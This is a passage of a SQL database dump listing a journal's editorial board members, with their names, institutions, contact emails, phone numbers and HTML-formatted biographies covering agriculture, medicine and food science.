organizations. Also, Dr. Zakaria won many awards and he was attend a huge number of conferences, training and workshops in Egypt and other many countries in worldwide as well as he was published five scientific books and more than 45 scientific research paper. Dr. Zakaria contributed significantly to the expansion of knowledge of organic agriculture and climate changes issues through public lectures on scientific research centers and various Egyptian and Chinese universities, and because he is principal investigator of some international and national projects he contributed significantly in helping to learn organic agriculture and climate changes and using smart climate agriculture as a new trend in the field of agriculture. He work a Progress Patent invention entitled &ldquo;A new natural compound to increase productivity and immunity of horticultural and field crops &quot; - Application No. 2077/2015 - Advanced side - Academy of Scientific Research and Technology - Patent office.</span></p>\r\n',1,'2018-11-07 23:02:26','2018-11-07 23:02:26',1),(330,35,20,'1541612184.jpg','Antonio Elia','antonio.elia@unifg.it','0039 0881589237','Dept. Science of Agriculture, Food and Environment','Editorial board member','Italy','University of Foggia','44','',1,'2018-11-07 23:06:24','2018-11-07 23:06:24',1),(331,35,20,'1541612860.jpg','Moustafa Mohamed Sabry Bakry','md.md_sabry@yahoo.com','01112383122','Plant Protection','Editorial board member','Egypt','Plant Protection Research Institute Agricultural Research Center','45','<p style=\"margin-left:0in; margin-right:0in; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Moustafa Mohamed Sabry Bakry,works as a Dr. of Economic Entomology&nbsp;at the Institute of Plant Protection Research&nbsp;and Head of Plant Protection at the Station of Agricultural Research El-Matanaa, Esna district, Luxor governorate, Egypt. Dr. Moustafa got his Ph.D. in Plant Protection Department (Economic Entomology) from Faculty of Agriculture, Sohag, Univ., Egypt 2014. His research interest is ecological studies of pests, biological studies, population density, and its control as well as, the results of these researches can be used to optimize monitoring methods for establishing IPM strategies against these pest. Dr. Moustafa published 32 papers most of them in international journals. Dr. Moustafa is editorial board and reviewer for 15 journals in the economic entomology and pest control. Dr. Moustafa published four scientific books in the field of ecological studies of pests.</span></p>\r\n',1,'2018-11-07 23:17:40','2018-11-07 23:20:56',1),(332,35,20,'1541613417.jpg','V. K. Khanna','khannavk@rediff.com','','Senior Professor, Plant Biotechnology , School of Crop Improvement, College of Post Graduate Studies','Editorial board member','India',' Central Agricultural University','46','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. V. K. Khanna graduated from Delhi University and did his M.Sc and PhD from Haryana Agricultural University in Genetics, followed by Post Doctorate, CSIR. He joined as an Assistant Professor at G. B. Pant University of Agriculture &amp; Technology, Pantnagar and worked there for nearly 30 years. He has more than 39 years of experience of teaching and conducting research on Wide-hybridization, Genetics and Biotechnology. He has guided 76 M.Sc and Ph.D theses and published 164 research papers in Indian and Foreign Journals of repute. He has also presented 193 research papers in Conferences/Symposia/Workshops in India and abroad, a few of them being Lead Papers including a Key-note address in an International Conference. He has been the Chairman/Co-chairman in many National and International conferences. He Chaired a session at the 7th International Congress of SABRAO and International Symposium of WSAA at Taipei, Taiwan, Republic of China from Nov. 16-20, 1993. His group reported the mechanism of crossability between wheat and rye for the first time.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has also published 57 Popular Articles and written 12 Books. He has visited various Universities and Research Stations abroad and presented his research work in conferences in Australia, USA, Germany, UK, Taiwan, Netherlands, Singapore, Russia, Thailand and Philippines. He was a Fellow of Food and Agricultural Organization (FAO) of UN and worked on Molecular Markers and Genetic Transformation at the University of Queensland, in Australia. He is a member of the Editorial Board of Agrotechnology (Omics group), J. of Horticulture (Omics group) and some Indian journals and Reviewer of some Indian and Foreign Journals.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He was a member of the National Review Committee on Genetic Manipulation in the Department of Biotechnology, Government of India. He has also filed a Patent with the National Research Development Corporation, N. Delhi. He has taught 24 P.G. and U.G. courses and is currently teaching &lsquo;Molecular Cell Biology&rsquo;, &lsquo;Pr. of Cytogenetics&rsquo; and &lsquo;Molecular and Chromosomal Manipulations for Crop Breeding&rsquo; to the P.G. students and &lsquo;Principles of Genetics&rsquo; to the undergraduate students He has been the PI of 15 research projects.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. V. K. Khanna is the recipient of many awards including the Best Paper awards in various conferences and the Best Teacher Award at India&rsquo;s first agricultural university i.e. G. B. Pant University of Agriculture &amp; Technology, Pantnagar. He was felicitated with &lsquo;Vijay Rattan Award&rsquo; and Certificate of Excellence for Meritorious Services, Outstanding Performance and Remarkable Role by Dr. Bhisham Narain Singh, former Governor of Tamil Nadu &amp; Assam at a seminar on Economic Growth &amp; National Integration at New Delhi on 25th November 2005, by India International Friendship Society. He was awarded with &lsquo;Bharat Vikas Award&rsquo; and Certificate of Excellence for Excellence in the Chosen Field by Hon&rsquo;ble Smt. Mohsina Kidwai, Member of Parliament (Rajya Sabha) on the occasion of the significant seminar on Economic Growth &amp; National Integration at New Delhi on 31st August 2006, by International Institute of Success Awareness. He got &lsquo;Rajiv Gandhi Excellence Award&rsquo; and Certificate of Excellence for Meritorious Services, Outstanding Performance and Remarkable Role by Hon&rsquo;ble Lt. Gen. (Retd.) T. P. S. Rawat, P. V. S. M., V. S. M., Minister for Tourism, Excise &amp; Sainik Kalyan (Govt. of Uttaranchal) at a seminar on Economic Growth &amp; National Integration at New Delhi on 31st August 2006, by India International Friendship Society. He was given &lsquo;Gem of India Award&rsquo; and Certificate of Excellence for Meritorious Services, Outstanding Performance and Remarkable Role by Shri M. V. Rajasekharan, Hon&rsquo;ble Minister of State for Planning, Govt. of India at a seminar on Global Participation in India&rsquo;s Economic Development at New Delhi on 8th January, 2007 by India International Friendship Society. He has worked as Joint Director Research, In charge Govt. notified Seed Testing Laboratory, In charge Pantnagar Centre of Plant Genetic Resources, Acting Registrar, Acting Director Research, Acting Dean of College of Agri- Business Management, Acting Coordinator (Admissions) at G. B. Pant University of Agriculture &amp; Technology, Pantnagar and In charge Dean at P.G. College, Central Agricultural University (CAU), Barapani, Meghalaya., and Chairman, School of Crop Improvement and he is continuing as Professor, Biotechnology at P.G. College, CAU, Barapani, Meghalaya.</span></p>\r\n',1,'2018-11-07 23:26:57','2019-02-13 17:47:50',1),(333,35,20,'1541613914.jpg','Usman Pato','usmanpato@yahoo.com','','Agricultural Technology','Editorial board member','Indonesia','Riau University','46','',1,'2018-11-07 23:35:14','2018-11-07 23:35:14',1),(334,25,20,'1541614400.png','George C. Charalambous','drcharalambous@yahoo.gr','','Head of Emergency Department','Editorial board member','Greece','Frederick University','11','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Coordinator of the Postgraduate Program in &quot;Health Management&quot; at Frederick University Cyprus. Surgeon, Doctor of Medicine from University of Athens and holds two postgraduate degrees in Surgical Anatomy and in Health Care Management. He has several publications and has participated with presentations in a lot of prestigious international conferences both domestically and abroad. Participated in National Committee of the Ministry of Health as a special consultant and is a member of scientific societies such as the Greek Surgical Society, the Society of Emergency Medicine and the Scientific Society of Health Policy and Management. . He has written a Handbook for Emergency Departments entitled &quot;Emergency Response&quot;, as he translated and edited the Greek version of Emergency Nursing Procedures, Jean A. Proehl</span></p>\r\n\r\n<p><em><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\">Research interest :</span></span></em></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Surgery, Health Systems and Policy, Emergency Medicine </span></p>\r\n',1,'2018-11-07 23:43:19','2018-11-07 23:52:05',1),(335,25,20,'1541614823.jpg','Wagih Ghnnam','wghnnam@gmail.com','00966556922516','Ass. Prof.  General Surgery','Editorial board member','Egypt','Mansoura University','12','',1,'2018-11-07 23:50:23','2018-11-07 23:52:22',1),(336,35,20,'1541615237.jpg','Irmak Baran','irmakmor@yahoo.com','','Associate Professor,Clinical Microbiology','Editorial board member','Turkey','Ankara Numune Education and Research Hospital','13','<p><span style=\"font-family:Times New Roman,Times,serif\">Irmak Baran was born in Ankara, Turkey. She attended TED Ankara College High School. After that she studied at Gazi Univercity Medical School. After graduating as MD, she trained as a Medical Microbiologist in Ankara Numune Training and Research Hospital. She is currently working as an Associate Professor in the same hospital. She has published research articles in many SCI journals. Her research interests are antimicrobial resistance, MALDI-TOF and molecular bacteriology. She knows English, French and Turkish. She is a proud cat mom and avid choir soprano in her free time.</span></p>\r\n',1,'2018-11-07 23:57:17','2018-11-07 23:57:17',1),(337,25,20,'','Rania Refaat','raniarefaat_1977@hotmail.com','','Assistant professor in Radiodiagnosis Department, Faculty of Medicine','Editorial board member','Egypt','Ain Shams University','14','',1,'2018-11-08 00:06:11','2018-11-08 00:06:11',1),(338,25,20,'','Amir Elalouf','Amir.Elalouf@biu.ac.il','972-54-7908004','Lecturer','Editorial board member','Israel','Bar-Ilan University','15','',1,'2018-11-08 00:13:56','2018-11-08 00:14:22',1),(339,25,20,'1541616549.jpg','Bahar Salehi','bahar.salehi007@gmail.com','','Professor','Editorial board member','Iran','Shahid Beheshti University of Medical Sciences','16','<h3><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest</strong></em></span></span></h3>\r\n\r\n<h3><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Microbial Nanotechnology, Microbial Biotechnology, Medical Microbiology, Biomedical Ethics, Medical Ethics.</span></span></h3>\r\n',1,'2018-11-08 00:19:09','2018-11-08 00:22:26',1),(340,25,20,'1541617284.jpg','Sadaf Sheikh','sheikh.sadaf@gmail.com','00923062567638','Resident IV, Emergency Medicine','Editorial board member','Pakistan','Aga Khan University Hospital','16','',1,'2018-11-08 00:31:24','2018-11-08 00:31:24',1),(341,25,20,'','Ajay Sharma','ajaysharmapharma1979@gmail.com','91-9575848894 ','Professor','Editorial board member','India','Amity University Madhya Pradesh','17','<p><span style=\"font-family:Times New Roman,Times,serif\">My area of research interest is drug discovery and development from natural products and traditional medicines. I am engaged in diverse research areas with knowledge of pharmacology, natural product chemistry, biotechnology and pharmacognosy. I have extensively worked and published in the areas of pharmacological evaluation of isolated natural products for antimicrobial, antioxidant, anticancer, anti-inflammatory activity using <em>in vitro</em> and <em>in vivo</em> models and growth inhibitory activity against pathogenic bacteria, phytochemistry, food technology and nutrition, ethnopharmacology, fingerprinting and standardization of marker compounds in medicinal plant products and dietary supplements, optimization of large scale extraction, isolation and characterization of natural products of commercial value, bioactivity guided fractionation. I am also working on <em>in vitro</em> multiplication for endangered plants, bioconversion of secondary metabolites using plant pathogenic bacteria and fungi and their pharmacological screening.</span></p>\r\n',1,'2018-11-08 00:40:43','2018-11-08 00:40:43',1),(342,28,20,'1541618577.jpg','Eric Lontchi Yimagou','lontchifrenzy@yahoo.fr','','Post-Doctoral Research Fellow in Endocrinology/Diabetes','Editorial board member','USA','Albert Einstein College of Medicine, Bronx','04','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr Lontchi Yimagou, is a Postdoctoral Research Fellow in the Diabetes Research Center at Albert Einstein College of Medicine. His interests are clinical metabolic research of diabetes physiology and glucose clamp methodology. He has been actively involved in projects related to the epidemiology and pathophysiology of diabetes for the past 8 years, both at national and international levels. His current work relates to the potential approach to impact the pathogenesis of hypoglycemia associated autonomic failure that will restore life-sustaining responses to hypoglycemia in patients with type 1 diabetes. He has also evaluated the Changing Diabetes in Children Project in Cameroon. He has traveled to CMC Vellore, India in the past year to oversee our research delineating the pathogenesis of malnutrition diabetes.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">He earned his PhD in Physiology and Pathophysiology from the University of Pierre and Marie Curie (Paris, France). His PhD thesis focused on environmental factors associated with diabetes in Africa, specifically the role of Human herpes virus type 8 infection in ketosis-prone atypical diabetes. He holds an MPH in in Public Health Nutrition from the University of Paris 13 (Paris, France). He is the recipient of a number of fellowships including the American Diabetes Association postdoctoral fellowship (USA, 2018), the Henry Christian and the Eastern Regional Scholar Awards from the American Federation for Medical Research (USA, 2017), the travel grant award from the European Association for the Study of Diabetes, a fellowship grant from l&#39;Institut Servier (Paris, 2015), a fellowship grant from the French Government (Paris, 2014), the and Jean Claude Mbanya Fellowship Award from the African Diabetes Congress (Cameroon, 2014). He has published several original research articles in peer reviewed journals and is currently a member of the editorial board of the Journal of Clinical Research Diabetes and Medicine.</span></span></p>\r\n',1,'2018-11-08 00:53:01','2018-11-08 00:53:01',1),(343,15,20,'','Adel Hamed Abd Elgawwad Elbaih','elbaihzico@yahoo.com','','Department of Emergency Medicine, Faculty of Medicine','Editorial board member','Egypt','Suez Canal University','24','',1,'2018-11-08 01:05:32','2018-11-08 01:05:32',1),(344,20,20,'1541619850.jpg','Muhammad Akram','makram_0451@hotmail.com','92-3452888394','Assistant Professor,Department of Eastern Medicine, Directorate of Medical Sciences, Faculty of Science and Technology','Editorial board member','Pakistan','Government College University Faisalabad','13','',1,'2018-11-08 01:14:10','2018-11-08 01:14:10',1),(345,22,20,'1541850395.jpg','Andrew Furey','lucina.mason@med.mun.ca','','Chief Of Division of Orthopedic Surgery','Editorial board member','Canada','St. John\'s, Newfoundland and Labrador','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Andrew Furey is an orthopaedic surgeon, community leader, physician, medical educator and the founder of Team Broken Earth, a national medical aid charity that began in St. John&#39;s, Newfoundland and Labrador. Since founding Team Broken Earth, Andrew has led over 20 missions to Haiti, Bangladesh and Guatemala with his colleagues from Memorial University and Eastern Health. Team Broken Earth continues to grow nationally and internationally. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Team Broken Earth is a true national movement that began right here!</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">It now includes teams from 7 Canadian provinces and territories, engaging over hundreds of doctors, nurses and volunteers each year as the organization provides critical aid and medical education to people in need around the world.&nbsp; </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Furey was recently awarded the 2017 Humanitarian of the Year Award, also honoured to accept on behalf of Team Broken Earth, the Meritorious Service Cross from Governor General David Johnson. He is a proud past recipient of the Atlantic Business Magazine Top 50 CEOs Award and is active in the local innovation and business community through his work on the Board of Directors of several private companies. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Andrew is a very proud Newfoundlander, he lives in St. Phillip&#39;s with his wife and three children.</span></p>\r\n',1,'2018-11-10 17:16:35','2018-11-10 17:16:35',1),(349,35,20,'1541852245.jpg','Omur Baysal','omurbaysal@mu.edu.tr','','Department of Molecular Biology and Genetics','Editorial board member','Turkey','MuglaSitkiKocman University','49','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Area</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Microbiology, host-pathogen interactions, molecular cell biology, bioinformatic applications in molecular biology and genetic, omics sciences</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>International responsibilities and memberships</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">133. Expert comittee member in EPPO</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Regional Editor in American &ndash;Eurasian Network for Scientific Information</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">European Food Security Assoc. Membership</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">HLB Disease Sentinental Network Commitee Member</span></p>\r\n',1,'2018-11-10 17:47:25','2018-11-10 17:52:32',1),(350,35,20,'1541853022.jpg','Bahare Salehi','bahar.salehi007@gmail.com','','PhD, Medical Sciences','Editorial board member','Iran','Shahid Beheshti University of Medical Sciences','50','<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em>&nbsp;Microbial Nanotechnology, Microbial Biotechnology, Medical Microbiology, Biomedical Ethics, Medical Ethics.</span></p>\r\n',1,'2018-11-10 18:00:21','2018-11-10 18:07:23',1),(355,21,20,'1542334575.jpg','Chung Yi Chen','XX377@fy.edu.tw','886-7-7811151-6200','Dean and Professor ','Editorial board member','Taiwan','Fooyin University','10','<p><span style=\"font-family:Times New Roman,Times,serif\">President Chen obtained PhD in 1999 at Kaohsiung Medical University. Currently teaches in Fooyin University, as most young is also the most senior professors and deans. The past 20 years, he has his scientific interests focused on life-threatening diseases, including traditional Chinese medicine used for cancer research. Analysis in recent year&rsquo;s major active ingredients such as ginger, pepper and cinnamon used in gastrointestinal cancer, anti-inflammatory, antioxidant, antiparasitic, and other topics. President Chen specializes in isolation, purification and structural analysis of active components of plants. President Chen directed against active constituents of oral cancer, liver cancer, and rectal cancer. President Chen was just over 45 years old, but his work has more than 250 papers, Taiwan one of the young talents. Professor Chen was invited more than 450 kinds of Journal editorial boards. Professor Chen won numerous awards at home and abroad, from 2015, was awarded the lifetime achievement award; from 2016 was awarded the health care &amp; biotechnology merit award; from 2017 was awarded the nation academic award.</span></p>\r\n\r\n<h3><em><strong><span style=\"font-family:Times New Roman,Times,serif\">Main Area of Interest:</span></strong></em></h3>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Pharmacognosy, Natural Products, Chinese Medicine, Natural Product Research</span></p>\r\n',1,'2018-11-16 07:46:14','2018-11-16 07:46:14',1),(356,27,20,'1542866494.jpg','Beatriz Medeiros Fonseca','fonsecabeatriz@live.com.pt','','Department of Veterinary Sciences','Editorial board member','Portugal','University of Trás-os-Montes and Alto Douro','15','',1,'2018-11-22 11:31:34','2018-11-22 11:42:54',1),(357,22,20,'1542867486.jpg','Joseph E. Imbriglia','dbuyna@wpahc.com','(724) 593-2123','Clinical Professor of Orthopaedic Surgery','Editorial board member','USA','University Of Pittsburgh School Of Medicine','01','<p><span style=\"font-family:Times New Roman,Times,serif\">As an orthopaedic surgeon, I bring over 40 years of clinical, surgical and research experience in the field of hand and upper extremity surgery. &nbsp;I have been in practice since completing my fellowship training at Columbia-Presbyterian Medical Center in New York City in 1976.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Currently, I hold the rank of Clinical Professor of Orthopaedic Surgery at the University Of Pittsburgh School Of Medicine, where I served as the Director of the Hand Fellowship Program at the University from 2002 to 2014.&nbsp; Prior to my appointment at UPMC, I was director of the Hand Fellowship Program at Allegheny General Hospital in Pittsburgh.&nbsp;</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">My research interests have been focused on wrist arthritis, metacarpophalangeal joint replacement, distal radius fractures and hand transplantation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">We are now conducting a clinical research study on the use of autologous placental tissue to aid healing of rotator cuff repairs.</span></p>\r\n',1,'2018-11-22 11:48:06','2018-11-22 11:48:06',1),(358,22,20,'1542869289.jpg','Swati Meshram','swaticmin@yahoo.co.in','9076455058','Department of Musculoskeletal Physiotherapy','Editorial board member','India','TPCT ‘s Terna Physiotherapy College','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Education: M.P.TH (MUSCULOSKELETAL), certified, MDT Physiotherapist, Neurodynamics, perusing fellowship in manual therapy, (UK) etc</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">MUHS recognized research faculty for training student&rsquo;s faculties and phd aspirants in &ldquo;basic methods in research methodology&rdquo;.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Has conducted sessions on various research topics in Mumbai and for Phd in MUHS.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Has attended leadership skills in Health science education technology organized by MUHS.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;Biostatistics classes in a lecture series to nursing students in FORTIS nursing college, MULUND, WEST.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">INVITED <strong>&ldquo;Organizing Committee Member&rdquo; and speaker for </strong><strong>6th International Conference &amp; Exhibition on</strong><strong> &ldquo;</strong><strong>Physiotherapy &amp; Physical Rehabilitation</strong><strong>&rdquo; </strong><strong>August 13-14, 2018</strong><strong>, </strong><strong>London, United Kingdom</strong><strong><span style=\"color:#003300\">.</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">BIT&#39;s 5th Annual World Congress of Orthopaedics 2018. With the theme of &ldquo;Breaking the Barriers in Orthopaedic Research&rdquo;, WCORT-2018 will be held during July 25-27, 2018 in Milan, Italy. As per your background, we think you are the ideal <strong>speaker</strong>in <strong>Session 2-3: Osteoarthritis.</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">&ldquo;World Congress on Rheumatology &amp; Orthopedics&rdquo; (WCRO-2018) during September 24 -25, 2018 in Madrid, Spain.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">SPEAKER at the upcoming <strong>Euro Physiotherapy 2018</strong> conference which is going to be held during <strong>August 13-14, 2018, London, United Kingdom</strong> with theme &quot;<strong><em>Excellence in physical therapy</em></strong>&quot;.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Guide for postgraduate and undergraduate students and &nbsp;reviewer for international journals like </span><em><span style=\"color:black\">American journal of Physical Medicine and Rehabilitation,Journal of Arthritis with Journal Impact factor 1.83,,African Journal of Pharmacy and Pharmacology,International Journal of Osteopathic Medicine,Research and Reviews: Orthopedics,International Journal of Physical Medicine &amp; Rehabilitation,Journal of Novel Physiotherapies,</span></em><span style=\"color:black\"> J Rehabil Med,Journal of Sports Medicine &amp; Doping Studies,Journal of Trauma &amp; Treatment,Surgery: Current Research</span><em><span style=\"color:black\"> etc..</span></em></span></p>\r\n',1,'2018-11-22 12:18:09','2018-11-22 12:18:09',1),(359,18,20,'1542976201.jpg','Joseph E. Andrews','jandrews@wakehealth.edu','336-716-7658','Assistant Dean for Regulatory Affairs and Research Integrity','Editorial board member','USA','Wake Forest School of Medicine / Wake Forest Baptist Health','14','',1,'2018-11-23 18:00:01','2018-11-23 18:00:01',1),(360,25,20,'1545391207.jpg','Elbaih Zico','elbaihzico@yahoo.com','','Associate Professor of Emergency Medicine','Editorial board member','Egypt','Suez Canal University','16','<p style=\"text-align:justify\"><strong><span style=\"color:black\">Dr. Elbaih</span></strong><span style=\"color:black\"> is an associate Professor of Emergency Medicine, Suez Canal University, Egypt. After finishing his residency and obtaining a Master&rsquo;s degree in internal medicine in 2005, he joined the Department of Emergency Medicine on earning MD in the field. He received his Doctorate Degree in Emergency Medicine from Suez Canal University in 2011.He has supervised more than 26 master and doctorate theses, as well as serving in the committee for the dissertation of 24 master&rsquo;s and doctorate degrees. </span></p>\r\n\r\n<p style=\"text-align:justify\"><strong><span style=\"color:black\">Dr. Elbaih</span></strong><span style=\"color:black\"> has</span> <span style=\"color:black\">teaching activities for undergraduate and postgraduate students in Emergency Medicine, Faculty of Medicine. He is an active member of the Egyptian Board of Emergency Medicine where he both instructs and takes part in the assessment of the board examinations.</span> <span style=\"color:black\">He attended a scholarship at Maryland University about injury prevention and he is an affiliate of the University of Maryland in the field of injury prevention research. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"color:black\"><strong>Dr</strong>. <strong>Elbaih</strong> has authored nearly 41 research articles, has 34 conference participations, served as chairperson in 7conferences, participated at 16 workshops, 4 Faculty Member in workshops and served as an editor/reviewer for more than 58 medical research journals.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:11.0pt\"><span style=\"color:black\">The My focus of research interest directed toward Trauma, Internal Medicine, Emergency Medicine, Cardiology, Ultrasonography and Surgical Emergencies. </span></span></p>\r\n',1,'2018-12-21 16:49:16','2018-12-21 16:50:07',1),(361,30,20,'1545391429.jpg','Simone Ferrero','simoneferrero@me.com','','Associate Professor, Ospedale Policlinico San Martino','Editorial board member','Italy','University of Genova','14','<p><span style=\"font-family:Times New Roman,Times,serif\">Surgeon enrolled in the Order of Physicians of the Province of Genoa.&nbsp;He obtained his specialization in Gynaecology and Obstetrics at the University of Genoa and the title of Doctor of Philosophy (Ph.D.) at the Queen Mary, University of London.&nbsp;He works at the IRCCS AOU San Martino - IST of Genoa as Associate Professor.</span></p>\r\n',1,'2018-12-21 16:53:48','2018-12-21 16:53:48',1),(362,21,20,'1545391723.jpg','Tarek Salah-Eldin Aboushousha','t.aboushousha@tbri.gov.eg','','Professor & Head of Pathology Department','Editorial board member','Egypt','Theodor Bilharz Research Institute','11','',1,'2018-12-21 16:58:42','2018-12-21 16:58:42',1),(363,21,20,'1545392080.png','Hasibe Cingilli VURAL','hcvural@gmail.com','','Department of Medical Biology, Meram Faculty of Medicine','Editorial board member','Turkey','Necmettin Erbakan Unversity','12','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#212529\">Dr. </span><span style=\"color:#333333\">Vural has won a Science Award by being among the top 100 researchers and scientists. The IBC top 100 Scientists and Educators 2011, Cambridge-England. Dr. Vural has participated in international courses related to her field in 1997, 2000 and 2002 respectively. DNA Technologies, Swansea, England, Gene Manuplation and Genomics, Western Michigan State, USA and Cancer Research, Hawaii Cancer Research Center. Dr. Vural has a number of national/international publications and research as well as lessons for undergraduate and graduate students. She has written international book and book chapters. She is editor and referee in the international journals. The university has received official duties for industrial cooperation, domestic and international consulting, expertise and representation at UNESCO meetings. She has also worked on many scientific projects.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#dc3545\">Research Interest</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#333333\">Molecular modeling studies on cancer molecular biology and epigenetic mechanisms, genomic and metabolic pathways. Plant, animal, human, microorganism, tissue, blood, hair, forensic medicine as well as organic substances isolated from archaeological remains, archaeometry, biological anthropology. Gene manipulation, identification of gene expressions related to diseases, mutation detection, cell culture studies, apopitosis and cancer developmet, siRNA, miRNA, and the many metabolic and necrotic pathway studies and on living and ancient DNA assays and OMIC technologies.</span></span></p>\r\n',1,'2018-12-21 17:04:39','2018-12-21 17:05:03',1),(364,27,20,'1545392481.jpg','AGM Mostofa','agmmostofa2013@gmail.com','','Department of Pharmaceutical Science','Editorial board member','USA','Texas Tech University Health Sciences Center','00','',1,'2018-12-21 17:11:21','2018-12-21 17:11:44',1),(365,38,20,'1545925612.png','Dr. Jin Seop Bak','jsbwvav7@kaist.ac.kr','+82 1031597789 ','Professor','Executive editor','United Kingdom','United Cultural Convention (UCC)','01','<p><span style=\"font-family:Times New Roman,Times,serif\">JinSeopBak has a college-degree in Yonsei Univ., a MS/PhD in Korea Univ. with top-honors, and LittD/ScD/PhD in IBC (in Cambridge). He was in Faculty of Kyonggi Univ. and KAIST (as Project-Leader). He was appointed to the post of Secretary-General/Professor/Director General (for Asia)/Adviser in IBC. He worked as a researcher/scholar/judge especially in UC Berkeley (conditionally), Seoul National Univ. and MIT (conditionally). In Korea Univ., Prof. Bak played a key role in teaching Physical Chemistry. He is a leading member of many academies and nonprofit/profit organizations (e.g., Mensa). His main area of investigation is Life/Natural/Applied Sciences. He has achieved many publications, 2 patents, 14 grants. He is a reviewer of more than 100 journals, and member of 50 editorial boards. He has been cited especially in Marquis Who&#39;s Who and IBC.</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research interests:</strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">I believe that my experiences make me both the ideal researcher and global leader for performing advanced highthroughput technological studies.Until now, I generally explored almost every possible academic endeavor, including Biological Sciences, Food Sciences, Natural Sciences, and Applied Sciences</span></p>\r\n',1,'2018-12-27 21:16:51','2018-12-27 21:22:33',1),(366,38,20,'1545925940.jpg','Dr. Jesus Simal-Gandara','jsimal@uvigo.es','','Full professor in nutrition and food science ','Executive editor','Spain','University of Vigo','02','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:14px\"><strong>Visiting researcher </strong></span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Laboratoire de Chimie Analytique II (Prof. Mahuzier &amp; Dr. Becue), Facult&eacute; des Sciences Pharmaceutiques et Biologiques, Universit&eacute; de Paris-Sud. Chatenay-Malabry, France (1990, 6 months); Department of Chemistry (Prof. Thomas B. Brill), University of Delaware, Newark, Delaware, USA (1991, 3 months); Fraunhofer-Institut f&uuml;r Lebensmittel-technologie und Verpackung (Drs. O. Piringer &amp; R. Franz), Munich, Germany (1992, 3 months); CSL: Central Science Laboratory, MAFF: Ministry of Agriculture, Fisheries and Food (Drs. J. Gilbert &amp; L. Castle), Norwich, Norfolk, UK (1993 &amp; 1998, 3 months each); TNO-Nutrition and Food Research (Dr. R. Rijk), Zeist, The Netherlands (1994, 1995 &amp; 2000, 3 months each); PIRA: Packaging Industries Research Association (Dr. P.A. Tice), Leatherhead, Surrey, UK (1996, 3 months); and SIK: The Swedish Institute for Food and Biotechnology (Drs. L. Ahrn&eacute; &amp; A. Leufv&eacute;n), G&ouml;teborg, Sweden (1997, 3 months).</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><strong><span style=\"font-family:Times New Roman,Times,serif\">Publications</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Google scholar: <a href=\"http://scholar.google.es/citations?user=rmeHFXIAAAAJ&amp;hl=es&amp;oi=ao\">http://scholar.google.es/citations?user=rmeHFXIAAAAJ&amp;hl=es&amp;oi=ao</a> </span></p>\r\n\r\n<p><span style=\"font-size:14px\"><strong><span style=\"font-family:Times New Roman,Times,serif\">Research Interests</span></strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">1.-&ldquo;Development of food authenticity tools based on HPLC-MS/MS&rdquo;; </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">2.-&ldquo;Fate of pesticides, polycyclic aromatic hydrocarbons, polychlorobiphenyls and heavy 